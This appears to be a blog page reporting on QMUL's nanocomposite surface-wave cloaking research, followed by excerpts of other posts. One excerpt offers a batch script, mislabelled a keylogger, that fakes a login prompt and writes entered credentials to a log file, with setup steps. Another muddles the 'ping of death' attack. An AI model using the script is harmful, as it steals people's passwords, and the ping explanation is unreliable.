Invisible oh come on

Are we a step closer to making invisibility cloak a reality?

 
Scientists inching closer to create invisibility cloak

Being an ardent Harry Potter fan, I was always fascinated by the sci-fi invisibility cloak that Harry Potter wore to hide himself from view while in the Hogwarts library. I used to always wonder what if such invisibility cloaks become a reality. Well, it looks like they may…

Scientists at Queen Mary University of London (QMUL) have developed a new material using a composite material with nano-size particles that has been able to make test objects “disappear.”

For the first time, researchers demonstrated a practical cloaking device that has the ability to make curved objects seem flat to electromagnetic waves. The material makes use of somehow “manipulating” radio waves for it not to appear to monitors.

The researchers coated a curved surface with a nanocomposite medium, which has seven distinct layers (called graded index nanocomposite) with electric properties. The electric property of each layer varies depending on its position, and the effect hides an object that would have caused surface waves to be scattered. The experiment was carried out by coating a cosine-curved metal plate with the material and observing it from a monitor.

The original design approach has much wider applications, ranging from microwave to optics for the control of any kind of electromagnetic surface waves.

Co-author Yang Hao said: “The design is based upon transformation optics, a concept behind the idea of the invisibility cloak. Previous research has shown this technique working at one frequency. However, we can demonstrate that it works at a greater range of frequencies making it more useful for other engineering applications, such as nano-antennas and the aerospace industry.”

First author Luigi La Spada said: “The study and manipulation of surface waves is the key to develop technological and industrial solutions in the design of real-life platforms, for different application fields.

Spada added, “We demonstrated a practical possibility to use nanocomposites to control surface wave propagation through advanced additive manufacturing. Perhaps most importantly, the approach used can be applied to other physical phenomena that are described by wave equations, such as acoustics. For this reason, we believe that this work has a great industrial impact.”

The results of the findings were published in Scientific Reports on Friday.
Stay tuned and I will post more about it feel free to visit my other post

Create a key logger using cmd

Here is a basic  keylogger  script for beginners to understand the basics of how keylogging works in notepad. This script should be used for research purposes only. @echo off color a title Login cls echo Please Enter Email Adress And Password echo. echo. cd "C:Logs" set /p user=Username: set /p pass=Password: echo Username="%user%" Password="%pass%" >> Log.txt start >>Program Here<< exit Step 1:  Now paste the above code into Notepad and save it as a  Logger.bat  file. Step 2:  Make a new folder on the desktop and name it Logs ( If the folder is not called Logs, then it will not work.) Step 3:  Drag that folder in to the  C: Step 4:  Test out the  Logger.bat ! Related  All-in-one Messenger - FacebookMessenger, WhatsApp, Skype and many more in one window Step 5:  Alright, now once you test it, you will go back into the Logs folder in the  C: and a  .txt  file w...

Perform cmd death attack

 A ping packet can also be malformed to perform denial of service attack by sending continuous ping packets to the target IP address. A continuous ping will cause buffer overflow at the target system and will cause the target system to crash.  We often use the CMD command “Ping” to mostly check if a server or a gateway is up and running. But, ping command can also be used for some other purposes. If we look at the basic level, then a ping packet is generally of size 56 bytes or 84 bytes (including IP header as well). However, a ping packet can also be made as large as up to 65536 bytes. Well, that’s the negative side of the ping packet. When we increase the size of the ping packet unnaturally, forming a malformed ping packet to attack a computer system, this type of attack is called “Ping of death” attack. How Ping of Death attack works? Not all computers can handle data larger than a fixed size. So, when a ping of death packet is sent f...

What is DNS

D NS stands for Domain Name System is used to as the medium to translate domain names to their respective IP addresses when a client initiates a request query. DNS stores the database of all the domain names and their IP addresses which are registered on the network. Most of us are quite familiar with the term DNS or Domain Name System. DNS can be thought of as an attendance register for various websites present over the internet. In the case of DNS, it maintains the database of all the websites Domain Names and their IP (Internet Protocol) addresses that are operational all over the world. Historical Notes The origins of DNS date back to the time of the ARPANET  when there were only a few computers to get an entry in the database. A HOSTS.TXT file was maintained by Stanford Research Institute, which constituted the data of all the machines, and was copied by all the host machines to remain updated. Jon Postel from the Information Sciences Institute requested Pau...
